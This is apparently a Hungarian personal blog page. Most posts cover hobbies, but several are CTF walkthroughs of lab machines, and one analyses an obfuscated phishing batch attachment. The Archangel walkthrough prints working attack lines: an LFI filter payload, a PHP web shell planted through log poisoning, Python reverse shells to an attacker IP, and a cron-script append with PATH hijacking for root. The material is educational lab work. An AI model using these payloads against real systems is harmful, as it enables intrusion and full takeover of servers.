A déli part csak lassan mélyült. Még derékig sem ért a víz, amikor a legkisebb elkezdett nyafogni.

- Mennyünk ki!

A többiek is hamar csatlakoztak a legkisebbhez.

- De még nem is úsztunk, itt vagyunk a part közelében.

- Mennyünk ki! - panaszkodtak kórusban.

Tóbiás vágyakozva nézett a bólya irányába. Mennyit csimpaszkodtak bele! Aztán megfordult és kiment a gyerekekkel. A parton a száradással több időt töltöttek, mint a vízben.

- Nem akartok egy kis kukoricát? - kérdezte a gyerekeket Mari.

- Deee!

- Én inkább jégkását kérek - jegyezte meg halkan Heni.

- Én is, én is! - kontrázott rá a másik két gyerek.

A vége az lett, hogy kaptak mindkettőt. A kukoricából mindegyik evett két falatot, a jégkásából pedig ittak egy kortyot.

- Menjünk vissza medencézni! - jegyezte meg az egyik kölyök, mire a másik kettő azonnal átment papagáj üzemmódba.

Még szerencse, hogy négy felnőtt kísért három gyereket, mindenkinek a kezébe jutott vagy egy megcsócsált kukorica, vagy egy cukros löttyé olvadó jégkása. A csomagok alapfelszerelésnek számítottak, az nem számított.

A medencében végül elvolt a három gyerek. Este nyolcig ki sem jöttek. A vízben nem volt hínár, a keringtető rendszer kellemes melegen tartotta a hőmérsékletet. Tóbiás azon gondolkodott, ha ezek a gyerekek felnőnek, ők mit fognak gondolni a saját gyerekeik nyaralásáról?

Szólj hozzá!

Címkék: irodalom

Archangel CTF

2024.08.04. 18:07 Travis.CG

Ez egy nem semmi CTF volt. Először szokás szerint végigscanneltem a portokat:

nmap -sS -Pn --top-ports 100 -sV $IP

Csak a 22-es és a 80-as volt nyitva. A weboldal semmi különöset nem tartalmaz. Az első kérdés, hogy van-e alternatív hostname. Ezt viszonylag könnyen megtaláljuk az oldal tetején egy e-mail címben. Amint ez megvan, az ember elgondolkodik, hogy nem lesz-e más az oldal kinézete, ha bejegyezzük gépünkben ezt a host-ot? Írjuk be a nevet az /etc/hosts-ba, és frissítsük a böngészőt.

A weboldal megváltozik. Mindjárt meg is van a második flag. Érdemes kicsit jobban megnézni az oldalt.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt,html,php -u http://mafialive.thm/

Már az elején találunk egy php oldalt, ami egyben az egyik kérdésre a válasz, még a lista egy százalékát sem kell elérni, nyugodtan leállíthatjuk a keresést.

Na, a következő lépésnél elidőztem egy darabig. Abban biztos voltam, hogy a php oldalt kell rávenni valahogy, hogy elolvasson bizonyos fájlokat, de minden próbálkozásom esetén makacskodott a szkript. A hint szerint LFI-t kell használni, amiről életemben nem hallottam, úgyhogy kerestem egy LFI-s oktató anyagot a TryHackMe oldalán, és végigcsináltam. Utána már jobban értettem, hogyan kellene megoldani a feladatot.

A kérdéses php oldal forrását továbbra sem tudtam megnézni. Azt valahogy nem akarta betölteni. Végül base64-el kódoltam.

http://*HOST*/*PHP*.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/*PHP*.php

Ahol a *HOST* és a *PHP* a két behelyettesítendő találat az előző kérdésekből. Ha visszafejtjük a kódolt adatot, megvan a forrás. Ebből látható, hogy nem használhatjuk a "../.." sztringet, és mindenképp kell a /var/www/html az elején. Hah, ezt könnyű kikerülni, csak ".././.."-vel lépkedek vissza a gyökérig, és kész.

Most már elég sor fájlt meg tudunk nézni, még az első user flag-et is. De kell egy shell, mert anélkül nem ér semmit az élet.

A Burp Suit-al írjuk át az egyik kérés User-Agent-jét:

User-Agent: <?php system($_GET['cmd']); ?>

Ezzel az access.log fájlt átalakíthatjuk php szkriptté! Próbáljuk csak ki a következő URL-t!

*HOST*/*PHP*.php?view=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log&cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%2210.8.44.122%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22bash%22)%27

A piros résszel kiemelt a reverz shell, ami a 10.8.44.122 felé nyit a 4444-es porton. Előtte persze el kell indítani egy nc-t a gépünk termináljában.

nc -lvnp 4444

Hurrá, hozzáférünk a fájlrendszerhez! Ajjaj, csak www-data felhasználóval. Jó lenne, ha kapásból root felhasználók lehetnénk, de ekkora szerencsénk nincs. Először az archangel felhasználó bőrébe kell bújnunk. Ha átnézzük a gépet, akkor az /etc/crontab fájlban találunk egy érdekes bejegyzést. Az /opt/helloworld.sh fájlt archangel felhasználó jogaival fut. Én nem szoktam vacakolni shell stabilizálással, ezért szövegszerkesztőt sem tudok indítani. De kinek kell? Indítsunk a saját gépünkön egy másik terminálban egy újabb nc-t, ezúttal a 9001-es porton:

nc -lvnp 9001

Majd módosítsuk a hellowordl.sh-t echo-val:

echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.44.122\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'" >>helloworld.sh

A cron lefuttatja a kódunkat, és a második reverz shell is elindul archangel jogaival. Könnyedén megnézhetjük a második user flag-et. Itt lesz pár megtévesztő helyzet. Pl passwordbackup, ami félrevihet minket, de előbb-utóbb ráakadunk egy suid jogokkal megáldott binárisra a felhasználó fájljai között backup néven. Ha elindítjuk, panaszkodik, hogy nem ér el bizonyos fájlokat.

A visszafejtésével nem érdemes vesződni, de azért belenézhetünk:

strings backup

Hoppá, megpróbál fájlokat másolni, de a /home/users/archangel könyvtárból, ami a rendszeren nem létezik. Ha az elérési utakat nem tudjuk módosítani, akkor készítsünk egy cp parancsot. A korábbi echo-s trükkel hozzunk létre egy szkriptet, aminek cp a neve. Ez is egy reverz shell lesz, de ne a 9001-es, vagy 4444-es, hanem valami más porton. Előtte persze indítsunk egy újabb nc-t a saját gépünkön, ami figyeli az adott portot. Ez lesz a harmadik reverz shell.

Ha kész a cp szkript, akkor vegyük előre a PATH-ban:

export PATH=/home/archangel/secret:$PATH

Majd indítsuk el a backup-ot. Elindul a root shell! A root flag könnyedén olvasható.

Szólj hozzá!

Címkék: biztonság

Hacker vs Hacker CTF

2024.07.28. 11:57 Travis.CG

A hollywood-i filmekből ismerős lehet a következő helyzet: Az éjszaka közepén egy elsötétített szobában napszemüveges csávó hekkel ezerrel, amikor rájön, hogy másvalaki is hekkeli a rendszert. És akkor nagyon nyomogatják a billentyűket, hogy megtudják, ki a jobb.

Ezt a helyzetet igyekszik visszaadni a következő CTF. A sztori szerint egy hekker már bent van a rendszerben, nekünk a hekkelt rendszert kell felhekkelni.

Először tároljuk az IP címet a $IP változóba, majd szokás szerint végignézzük, milyen nyitott portok vannak:

nmap -sS -Pn --top-ports 100 $IP

SSH és web. Semmi rendkívüli. Az oldal alján rögtön van egy fájl feltöltési lehetőség, de bármivel is próbálkoztam, semmit nem lehet feltölteni. Az oldal forráskódja szerint a feltöltött tartalmak a /cvs könyvtárban vannak, de az nem listázható. Végigfuttattam rajta egy könyvtár keresést gobusterrel, de semmit nem találtam.

Az uploads.php-nek kellene végezni a feltöltést, kommentben ott van az eredeti szkript forráskódja, ami még a hekker támadás előtt működött. A forráskód elemzéséből az látszik, hogy a szkript csak azt nézte, hogy a fájlnévben legyen egy .pdf, de azt nem, hogy az a végén legyen. A hekker biztos feltöltött valamit, ami .pdf.php-re végződött, majd módosította a szkriptet, hogy mi már ne tudjunk belépni.

Lehet, hogy a szkript, amit használt még mindig ott van? Kipróbáltam a revshell.pdf.php-t, de az nem működött. de a shell.pdf.php válaszolt! Valami GET-es paraméter kell neki. A legnyilvánvalóbb jelölt a cmd. Kipróbáltam és ez is működött! Most már lehet egyszerű parancsokat futtatni a gépen. A /home könyvtárban meg is lehet nézni a felhasználó user.txt fájlját, mai az első feladat!

Oké, eddig jó, de be kellene lépni. A felhasználó .bash_history fájlját is meg tudjuk nézni, amiben szerencsére benne van, hogy mire módosította a jelszót a hekker. Szuper! Ha belépünk ssh-val, akkor kb. 3 másodperc múlva egy nope üzenet kíséretében kidob. A hekker valami csapdát rejtett el!

Ha még egyszer megnézzük a shell.pdf.php-vel a .bash_history-t, akkor látjuk, hogy még a jelszó változtatás előtt valamit írt az /etc/cron.d/persistence fájlba. A tartalmát is megnézhetjük a php szkript segítségével. Van egy for ciklus, ami 10 másodpercenként kinyírja a /dev/pts-t használó folyamatokat! Tehát nem tudunk pseudoterminált létrehozni!

Azért nincs minden veszve! Az ssh így is tud parancsokat futtatni. Például:

ssh $user@$IP /bin/bash

És máris van egy stabil shell. Nem a legjobb, de legalább nem dob ki minket. Most legalább van idő körülnézni. Bár egy csomó dolgot kipróbáltam, a megoldás végig a szemem előtt volt, már a /etc/cron.d/persistence fájl első megtekintésénél. A legfontosabb, hogy a PATH változóban a felhasználó bin könyvtára van a legelső helyen! Tehát a pseudoterminált kinyíró pkill parancsot ki tudjuk cseréni saját szkriptre, mert ez az egyetlen, amit nem abszolút elérhetőséggel adtak meg! A felhasználó bin könyvtárában lévő pkill root jogokkal fog futni!

Mivel elég limitáltak a fájl szerkesztési feltételek, ezért a saját gépen hoztam létre a fájlt, majd scp-vel felmásoltam. Itt még bénáztam egy sort, mert először nc-vel akartam létrehozni a reverz shellt, csakhogy a gépen lévő verzió egy őskövület volt, ami nem ismert egy csomó kapcsolót, végül a python verziót használtam innen.

De ez még nem elég, mert a pkill csak az utolsó parancs, ami lefut. Ismét kapcsolódni kell ssh-val, de a /bin/bash parancs nélkül, hogy a rendszer eljusson a pkill parancsig. Amikor megpróbálja kinyírni a terminált, helyette elindít egy root shell-t.

Utána már írhatja a képernyőre, hogy nope, ahányszor csak akarja, engem nem zavar. A root.txt olvasható.

Csak, hogy hűek maradjunk a hollywood-i klisékhez, még beírhatjuk:

wall "Mess with the best, die like the rest."

Szólj hozzá!

Címkék: biztonság

Ez a való élet, nem egy CTF

2024.07.23. 11:49 Travis.CG

Hétfőn furcsa levél jelent meg az egyetemi emailcímemen. Látszólag a Nemzeti Egészségbiztositási Alapkezelőtől, aláírás vagy bármi más nélkül. Az üzenet feladója a igazolt.jelentkezo. A levél gond nélkül átment az egyetem víruskeresőjén, még a plecsnit is megkapta, hogy biztonságos. Ráadásul mintha az előző hetekben kaptunk volna valami levelet, hogy kedvezményes egészségbiztosítást igényelhetnek az egyetemi dolgozók, szóval megnyitás előtt nem volt gyanús.

Utána már furcsa volt, hogy nincs megszólítás, kezdtem sejteni, hogy ez valami kártékony dolog. A levél fejlécét letöltve semmi gyanúsat nem láttam. Nem volt benne olyan, hogy a válaszcím máshova szól, mint a feladó. Sajnos, mióta az egyetem átállt Office365-re, a feladó eredeti IP címe nem elérhető, ezért azt nem láttam.

Egy attachment volt benne: megerősítés.tar. Ezt nem értettem, miért küldenének egy tar állományt? A legtöbb felhasználó Windows-t használ, a tar nem mond nekik semmit. Letöltöttem.

A második megdöbbentő dolog az volt, hogy ez nem tar, hanem egy tar kiterjesztésű Rar. Ezt még inkább nem értettem. A Rar nem alapértelmezett tömörítő. Ha azt akarnám, hogy minél több embert fertőzzön meg, Zip-et használnék. Bár igaz, akkor a vírusirtók is könnyebben azonosítják.

A harmadik furcsaság, hogy a fejlécben van egy utalás egy pdf állományra. De ezt a pdf-t nem lehet kicsomagolni!

fejlec.png

Ha megnézzük az unrar l paranccsal, akkor egy megerosites.cmd-t látunk csak. A csomagolás dátuma két órával előzte meg az email érkezését, szóval nem vesztegették az idejüket.

Kicsomagoltam a tar-nak álcázott rar állományt, és megnéztem a megerosites.cmd-t, de azt totál nem értettem. Olyan érzés lehetett, mint amikor Dr. Dyson megkapta a Terminator központi processzorát. Azt hittem valami shell szkript lesz, de nem az volt. Egy COMCOM állomány volt az első pár byte, ami elképzelni sem tudom, hogy mi lehet. Két napig túrtam a netet, hátha megtudom, mi lehet ez, de eredménytelenül. A rejtélyes fejlécet két windowsos parancs követi: cls és set, majd obfuszkált kód. A legvégén van egy digitális aláírás.

Arra gondoltam, a kód írója biztos egy létező obfuszkátort használt, ezért elkezdtem keresni ilyen programokat. Gyorsan találtam is egyet, ami elég hasonló kódot generált a képek alapján. Ekkor kezdtem megérteni, mi is történik. Létrehoznak egy változót, aminek a neve nem ASCII karakterekből áll, mert hát megtehetik. Ebbe belepakolnak egy látszólag random sztringet. A Windowsban van egy olyan lehetőség, hogy ennek a sztringnek egy részét kiszedjék:

%valtozo:~start,hossz%

Az obfuszkált kódban a hossz minden esetben 1 volt. Tehát a forráskód további része karakterenként épül fel az első változó alapján. Oké, akkor írok egy deobfuszkátort ez alapján. Gondoltam én naiv! Azért kíváncsi voltam, hányféle karakterből áll a forráskód, ezért a következő egysorossal szétbontottam:

sed 's/%%/%\n%/g' megerosites.cmd | less

Mivel minden változó után egy következő változó kezdődik, ezért a %% mentén beszúrtam egy újsor karaktert. Az eredmény elkeserítő volt. Az első változó neve 0xC4 0xC5 0xC7 0xC9 (hex kódokkal), de utána kerültek elő más változónevek is. Ez a deobfuszkálás bonyolultabb, mint gondoltam! Nézzük meg, más már megoldotta-e a feladatot.

Nincs valami sok a kínálatban, azok is elég régiek. Végül ezt válaszottam, mert Python, ezért fut Linux alatt is, és csak két éves. Nos, az eredmény, amit adott nem tökéletes.

decode1.png

De már látszanak olyasmik, hogy CLEAN.GIF. A qQpzQ\EJSR pedig többször is előfordul, mintha valami elérési út lenne. A dolgot tovább bonyolítja, hogy bizonyos változóneveket később felüldefiniál a szkript, hogy még jobban megnehezítse az ember dolgát.

Egy kiberbiztonsággal foglalkozó Discord szerveren kértem segítséget, hátha van valami más megoldás, ami elkerülte a figyelmemet. Egyetlen ember válaszolt, hogy használjam az IDA Pro-t. Köszi, mintha nem írtam volna le, hogy Windows batch fájlról van szó, nem binárisról.

Úgy tűnik, nem úszom meg, hogy saját deobfuszkálót írjak. A gond az ilyen munkával az, hogy véget nem érő feladat. Csak elkezdeni lehet, befelyezni nem. Ennek ellenére megpróbálok írni egyet, ami nem lesz jó minden esetre, de erre a speciális esetre talán működni fog.

Szólj hozzá!

Címkék: biztonság

A kütyüknek is melegük van

2024.07.17. 08:53 Travis.CG

A nyári meleg nem csak az emberi szervezetet viseli meg, de az elektronikai eszközöknek működésére is kihat. Az ember néz egy kis demót, vagy játszik, mire a gép úgy felmelegszik, hogy alig lehet hozzá érni. El is távolítottam az asztali gép oldalát, hogy jobb legyen a szellőzése.

A net is akadozott, mert a router folyamatosan újraindult. Nem értettem, miért, egészen addig, míg hozzá nem értem. Forró volt. Kérdezte is a feleségem, hogy nem lehetne-e ventillátort szerelni rá.

Nos, a helyzet az, hogy lehet. Egy régi tápegység ventillátorra esett a választásom, ami 12V-on működik. Forrasztottam a drótok végére egy-egy banándugót, hogy később megfelelő módon tudjam csatlakoztatni. Most viszont gyorsan kellett a megoldás, ezért az átalakított tápegység krokodilcsipeszes kivezetésével hajtottam meg. Nem szép, de működik.

hutes.jpg

Szólj hozzá!

Címkék: barkácsolás

Belefutottam egy alkalmassági vizsgálatba

2024.07.11. 20:33 Travis.CG

Általában a várostól távol szoktam futni, kerülöm a népes csomópontokat. Egyik nap viszont kipróbáltam a városi futókört, mert az a pálya közel sík, nincs benne annyi emelkedő, én pedig kiváncsi voltam, az mennyit javít az időmön.

A pálya elméletileg egy kilóméteres kör, de az okosóra szerint csak 850 méteres. Ezt a különbséget egyébként az óra minden körben következetesen tartotta is.

Már az első kör végénél láttam, hogy fiatalok gyülekeznek, akikre két terepruhás katona felügyelt és fekete pólós instruktorok magyaráztak nekik. A második körömnél a csoport egyik fele felüléseket végzett, a nem gyakorlatozók fogták a felülést végzők lábát. A harmadik körnél csere volt.

Közben ők is oda-odanéztek rám. Szerintem ötvenen lehettek.

A negyedik körnél eltűnt mindenki, csak a papírokat és az ivókulacsokat hagyták ott. A fekete pólós felügyelőket a start-célvonalnál láttam meg. Valamennyire a pálya egy részét is beláttam, de egyetlen futót sem tűnt fel, amiből arra következtettem, hogy kb. 500 méter előnyöm lehetett. A felügyelők közbe röhögtek, mikor megláttak. Gondoltam, milyen jó poén lenne, ha Amerika Kapitányként elfutnék mellettük.

Nem így történt. Az első két ember az ötödik körnél ért be. A pályaetikett szabályai szerint lehúzódtam, hogy ne rajtam múljon a felvételi. Akkor már kezdtem fáradni, 7-8 perces kilómétereket mentem csak. A hatodik körnél ért be az első nő is. Utána próbáltam azért gyorsítani, hogy nehogy lekörözzenek, de így is megelőztek még hárman.

A felvételizők három kilómétert mentek összesen. Miután összepakoltak, és elmentek, még három kört mentem. Az órám szerint az első három kilómétert hat és fél perces kilóméterekkel futottam le, tehát 19,5 perc alatt teljesítettem volna a távot.

Szerintem területvédelmisek voltak. Kíváncsi voltam, mi lehetett a minimum követelmény, de erre nem találtam semmit a neten. Az egyetlen támpont a hadkieg oldala volt, de ott 3200 métert írtak futásra. Ezen kívül felülés és karhajlítás volt két perc alatt. Gondoltam megnézem, hogyan teljesíteném azokat a feladatokat. Karhajlítás 46 darab volt, felülés 65 darab. Nem is rossz, egy (öreg)embertől.

Szólj hozzá!

Címkék: sport

Készülődés Assemblyre

2024.07.02. 20:11 Travis.CG

A hazai demopartyk száma megfogyatkozott, viszont nekem több ötletem is van, amit érdemes lenne megvalósítani. Sajnos az ötletek mind wild és/vagy videó kategóriába tartoznak. Amikor nézegettem az Assembly kiírását, feltűnt, mennyi kategóriában fogadnak remote entry-t. Rögtön meg is született a döntés: az egyik rövidfilmet beadom Assembly-re.

A forgatókönyvet pár hónappal korábban már megírtam egy unalmas délutánon, azóta kicsit reszelgettem is, ezért már pontosan tudtam, milyen jeleneteket akarok. Még korábban pedig még Grassnak is elmondtam az ötletemet, hogy egyáltalán érdemes-e megvalósítani. Nem akarok még egyszer abba a hibába esni, hogy a közönség csak néz, és nem ért semmit, mint a Rupture paródiámnál.

Az első probléma, hogy szükségem volt szárazjégre. Szárazjégnek lennie kell, vagy nincs film! Ez nem akkora probléma, mert a laborok a hűtést igénylő mintákat szárazjégbe ágyazva kapják. Rendszeresek a körlevelek, hogy a felesleges szárazjeget a folyosóról el lehet hozni. A gond csak az, hogy nem tudni, mikor kap valamelyik csoport szárazjeget.

Pont egy pénteki este néztem meg a levelezést, amikor írták, hogy van szárazjég. De akkor már nem volt kedvem visszamenni. Egész hétvégén evett a fene, hogy elszalasztottam egy ilyen remek alapanyag beszerzési lehetőséget. Hétfőn viszont arra gondoltam, talán a hétvégét kibírja az a szárazjég, és nekem szerencsém lesz. Felvettem a felszerelést és bementem a melóhelyre. Reggel még nem szokott senki bent lenni, tehát nyugodtan tevékenykedhettem.

A szárazjég megvolt. Nem sok maradt, de amennyi nekem kellett, annyi volt. Gyorsan felvettem a füstölgő jeleneteket. Még arra is maradt idő, hogy megismételjem a felvételeket. Legyen elég alapanyag a vágáshoz.

Viszont keletkezett egy másik probléma. Mivel nem volt meg az összes felvétel, más napokon is kell majd forgatnom! De én nem a Batman vagyok, hogy a szekrényemben csupa egyforma ruha legyen! Kénytelen voltam az izzadt, büdös pólót a munkahelyemen tárolni, hogy amikor ismét lesz időm forgatni, akkor kéznél legyen. Még szerencse, hogy a kamera nem rögzít szagot!

A harmadik probléma egy animált arc megjelenítése volt. Először Blenderben akartam elkészíteni. A modellezés nem volt túl nehéz, a mimika viszont annál inkább. Lassan és gyötrelmesen ment. Végül úgy döntöttem, inkább én leszek az animált arc, és addig effektezem a felvételt, amíg elég mű hatása lesz. Ez gyorsabb megoldásnak ígérkezett.

Még két 2D animáció fog kelleni. Először procedurálisan akartam megoldani, de az is túl sok időbe kerül, miközben a megtérülő haszon minimális. Végül néhány videó megtekintése után úgy döntöttem, azokat Blenderben fogom megcsinálni.

Szólj hozzá!

Címkék: demoscene

A bioinformatikus megmondta

2024.06.23. 19:49 Travis.CG

Habár egy kutatómunka több ember együttes munkájának az eredménye, a legtöbb bioinformatikus szeret leválasztani egy szeletet ebből a munkából és arra úgy tekint, mint a saját játékára. Mint amikor az ovisok együtt homokoznak ugyan, de azért lapátjukkal demarkációs vonalakat húznak.

Ezt a hozzáállást akkor lehet tetten érni, amikor valaki mással megismételtetik a vizsgálatot, amit a bioinformatikus végez. Ez egy nyílt sértéssel ér fel. Régebben még én is ilyen voltam, de mostanában már nem zavar, mert tudom, hogy amit csinálok az jó (köhöm köhöm), másrészt élvezet látni, ahogy valaki szenved és kínlódik, mert az elvárásait a valóság tönkre zúzza.

Az alapszituáció a szokásos volt: Sok adat, kevés munkaerő, minden tegnapra kell. Ez utóbbi természetesen csak a bioinformatikusokra vonatkozik, a laborosok heteket is ülhetnek a válaszokon.

Ebben a miliöben kellett lefuttatni egy csomó nagy lefedettségű targetált szekvenálást. Az smCounter2-t használtuk, amiről korábban csupa jót zengtem. Annyit módosítanék, hogy a Qiagen a cikk elfogadása után törölte a programot a Githubról, úgyhogy az már csak a cég szolgáltatásán keresztül érhető el. Tehát cloud ide-vagy oda, a jó öreg Letöltés gomb még nem fog kimenni a divatból. Szerencsére volt biztonsági mentésem a repóról, ezért mi gond nélkül használhattuk.

Az eredménnyel mégis probléma volt. Nem találtunk a "kedvenc" génben mutációt. Mert minden laborosnak van egy kedvenc génje, amibe mutációnak kell lenni, ha törik, ha szakad. Ilyen esetekben a megbeszélések során verni szokták az asztalt, hogy ismételjük meg a vizsgálatot ilyen-olyan beállításokkal. Most viszont egyszerűen megbíztak egy másik bioinformatikust titokban. Legalábbis nekünk elfelejtettek szólni.

Talán soha nem jöttünk volna rá, mi is történt, ha egy levelezésbe véletlenül bele nem kerülünk, ahol kiderült, hogy még azokat a mutációkat sem sikerült a másik csoportnak megtalálni, amit mi megtaláltunk. Ennek pedig az volt az oka, hogy a másik csapat nem az smCounter2-t használta, hanem valami saját tákolmányt, ami az UMI információkat teljesen figyelmen kívül hagyta. A PCR duplikátumok pedig jóságosan elfedték a valódi jelet.

Végül, ha már belekerültünk a levelezésbe, akkor szépen átbeszéltük a metodológiát, és a végén ők is megtalálták ugyan azt, amit mi, de a "kedvenc" génből ugyan úgy hiányzott az a nyamvadt mutáció. Hiába, nem vagyunk a Mátrixban, hogy a kanál (illetve esetünkben a DNS) meghajoljon az akaratunknak.

A tanúság, hogy a tudományos kutatásban az egót félre kell tenni. Akkor is, ha ellentmondanak a hipotézisnek, és akkor is, ha az eredményeinket mások ellenőrzik. A kommunikáció pedig fontos, mert előbb-utóbb úgyis kiderülnek a rejtett manőverek. Túl kicsi a kutatói közösség ahhoz, hogy sokáig rejtve maradjanak a titkok.

Szólj hozzá!

Címkék: bioinformatika

Jack of all trades CTF

2024.06.17. 20:30 Travis.CG

Ha sikerül segítség nélkül megoldani egy CTF-et, az tök jó. Ha közben még jól is lehet szórakozni, az még jobb. A Jack-of-all-Trades pont egy ilyen feladat.

Először végigszkenneltem a portokat:

sudo nmap -sS -Pn -sV --top-ports 100 $IP

Csak két port volt nyitva. A 22-es és a 80-as, de a funkciókat felcserélték! Szóval ez egy vicces CTF lesz. Akkor nem árt még egyszer átnézni mindent, hogy az összes rejtett poént kiderüljön.

sudo nmap -sS -Pn -p- $IP

De más nem volt nyitva. A Firefoxnak elég nehéz volt elmagyarázni, hogy mi akkor is böngészni akarunk a 22-es porton, ha az problémát okoz a lelki világának. Az about:config lapot megnyitva, fel kell venni egy új bejegyzést: network.security.ports.banned.override, és ennek meg kell adni a 22-t.

Utána már láthatjuk az oldalt. Jackről megtudjuk, hogy játékokat készít és imádja a dínókat. A forráskódban lesz egy base64 kódolt üzenet, benne egy jelszóval. Ezt érdemes elmenteni. Meg kellene tudni, hogy mihez kaptuk ezt a jelszót! Ugyancsak a forráskódban lesz egy rejtett link is.

A linket megnyitva felhasználó név és jelszó párost kell megadni. Az előzőleg kapott jelszót és a jack nevet használva nem jutunk be, sőt még hibaüzenet sincs, úgyhogy a hydra-t nem tudjuk használni. A forráskódban itt is van rejtett szöveg. A base32 csak az első lépcsőfok, utána még hex is kell. Legalábbis a Cyberchef magic modulja ezt meg tudja állapítani. Ha jobban megnézzük a szöveget, akkor mintha egy link is lenne benne. Tehát van még egy kódolási szint. Jobb híján a rot13-t próbáltam ki, és bingó! Olvasható lett a szöveg.

A leírás szerint a belépéshez szükséges infó a főoldalon van. Segítségként belinkelték a Stegosauridák wikipédia oldalát. Ennek nyomán megpróbáltam a korábban megtalált jelszót és a stegosaur-t, mint felhasználó nevet a bejelentkezésnél. Nem engedett be. Már épp azon keztem el agyalni, hogy talán a wikipédia oldal teljes szövegéből készítek egy felhasználó név listát, amikor eszembe jutott, hogy a főoldalon is egy Stegosaurus képe van.

Aztán idővel leesett a poén is, mint stego! Szteganográfia van a Stegosaurus képben! Mondtam én, hogy vicces CTF lesz ez! A jelszó tehát a képhez kell!

steghide extract -sf stego.jpg

Majd jött az újabb poén:

Hehe. Gotcha!
You're on the right path, but wrong image!

Szóval nem is a Stego a sztego. Valamennyi képet átnézve végül megvan a felhasználónév és a jelszó is. Ha belépünk a recovery.php-n, akkor a következő üzenetet kapjuk:

GET me a 'cmd' and I'll run it for you Future-Jack.

Szóval GET-es paraméterekkel kell parancsokat kiadni. Értem! A home könyvtárban van egy érdekes fájl, potenciális jelszavakkal. Az /etc/passwd fájlból pedig tudjuk a felhasználói nevet. Oké, mégis csak használni fogjuk a hydrát.

hydra -l jack -P jacks_password_list -s 80 $IP ssh

Csak 25 jelszót kell végignézni, gyorsan bejutunk. A felhasználói zászló a szokás CTF-ekkel ellentétben nem egy txt fájl volt, hanem egy jpg kép. Ebből megtudjuk, hogy Jack pingvin-leves recepttel rendelkezik. Mivel lusta voltam, egy online OCR olvasóval szedtem ki a flag-et. Lássuk, milyen titkok derülnek ki még Jackről!

Jack nem sudo-zik, ezért elsőre suid fájlokat kerestem.

find / -perm -u=s 2>/dev/null

Meglepetésemre a strings suid bites. Hmm, mire lehet használni ezt? Valami bináris fájlban kell kutatni? Aztán megint leesett. A strings sima cat-ként működik egy ASCII fájlon. Akkor talán a root flagat is megtudjuk? Általában root.txt szokott lenni, kipróbáltam, hátha szerencsém lesz.

Bingó! Jack nem csak megeszi a pingvineket, de a bőrükből szőnyeget készít, és egy hullát is rejteget a pincében. Enyje, Jack, most lebuktál.

Szólj hozzá!

Címkék: biztonság

Laptop akkumulátor javítás

2024.06.09. 18:10 Travis.CG

Az egyik laptopom egy 2000-ből származó Compaq Armada 100S, amit az intézet elektronikus hulladékai között túrtam. Természetesen az akkumulátora döglött volt. Hálózati feszültségről simán megy, de kicsit kényelmetlen, hogy minden egyes indítás alkalmával a BIOS beállításokkal kell vesződni, ezért elhatároztam, hogy megjavítom az aksit.

Ennél a modellnél az aksi a laptop alja, konkrátan az egyik gumi talp az akkumulátor része. Szerencsére a 2000-es években még nem öntötték műanyagba az egész aksit, ezért egy éles pengével az illesztések mentén le tudtam vágni a tetejét.

aksi1.png

Az aksi belsejében 9 darab sorba kötött Ni-MH cella található, egy elektronika, illetve egy dióda. A leírás alapján az aksi 10.8 V feszültséget ad le, ez alapján egy cella 1.2V feszültséggel üzemel, 4000mAh üzemidővel. Kis utánajárással ilyen cellákat lehet rendelni (sőt, lehet kapni 4800mAh-t is, de az nem volt raktáron). Forrfüleset rendeltem, mert azt gondoltam, azzal könnyebb dolgom lesz.

Amikor megérkeztek a cellák, megpróbáltam kettőt összeforrasztani a fülek mentén és nem sikerült. Egy ónpöttyöt még rá tudtam rakni a fülekre, de két fület nem tudtam összeforrasztani, pedig már a cellák is teljesen átforrósodtak a páka alatt. Kénytelen voltam YouTube továbbképzésre menni. A videók alapján a forrasztóvíz tűnt megoldásnak.

A közeli villamossági boltban nem volt forrasztó víz. Volt viszont forrasztó olaj, forrasztó zselé, forrasztó zsír. Végül az olaj mellett döntöttem, miután az eladóval ketten próbáltuk kitalálni, mire is lenne szükségem. El kell mondjam, tényleg megkönnyítette a forrasztást. Vettem még egy véső formájú hegyet is, ami jobban működött, mint a hegyes vég.

Az új cuccokkal simán összeforrasztottam mindent. Sajnos a dióda forrasztásánál kicsit elszámoltam magam, és nem olyan szögben sikerült rögzíteni, mint az eredeti celláknál volt, aminek az lett a következménye, hogy az összeforrasztott cellák összmérete nagyobb lett. Nehezebben fért bele a műanyag tokba. De egy kis gyömöszölés, nyomkodás segített.

Multiméterrel rámértem a végpontokra, és bizony nem érte el a 10.8 V-ot, csak 7.8 V-t. Ennek ellenére úgy döntöttem, összeszerelem, megpróbálom feltölteni, és csak ha minden jól megy, csak akkor ragasztom rá az akkumulátorra a fedelet.

Bevallom, egy kicsit félve adtam rá a feszültséget. Az első töltésnél nagyon melegedett, féltem, hogy esetleg a sok forrasztás nagyon felhevítette a cellákat, amit azért ezek nem szeretnek, és a végén kigyulladnak. Vagy valahol mégis zárlatosak, ami elkerülte a figyelmemet.

Második töltésre már nem melegedett. Minden rendben ment, a kis ledek is jól működtek. Gondoltam összeragasztom.

Még a makettezős időkből maradt egy műanyag ragasztó, azzal fogattam meg az akkumulátor tetejét, de csak a végén, hogy szükség esetén ne kelljen körbevágni az egészet, ha ismét javítani kell.

aksi3.png

Az üzemidő egy mai laptophoz képest gyatra. Az eredeti dokumentáció szerint is max 1 órát bír. Teljes töltöttség után 20 perccel már villog, hogy ideje feltölteni. Eddig 40 percig mertem akkumulátorról üzemeltetni. Dátumot és időt viszont nem kell állítani. Lakás nem gyulladt ki, összességében a projekt sikeresen zárult.

Szólj hozzá!

Címkék: barkácsolás

Brute It CTF

2024.06.02. 10:04 Travis.CG

Ez egy nagyon könnyed törős feladat volt, magam is meglepődtem, hogy még én is meg tudtam csinálni segítség nélkül.

Az első kérdés, hány nyitott port van. Ha valaki elég szemfüles, a többi kérdésből ki tudja találni, de azért álljon itt az nmap parancs:

nmap -sS -Pn -A -sV --top-ports 10 $IP

A kimenet segítségével az első négy kérdést simán meg lehet válaszolni, mert a -A megpróbálja meghatározni az operációs rendszert, az -sV pedig kiírja a szolgáltatások verzióját.
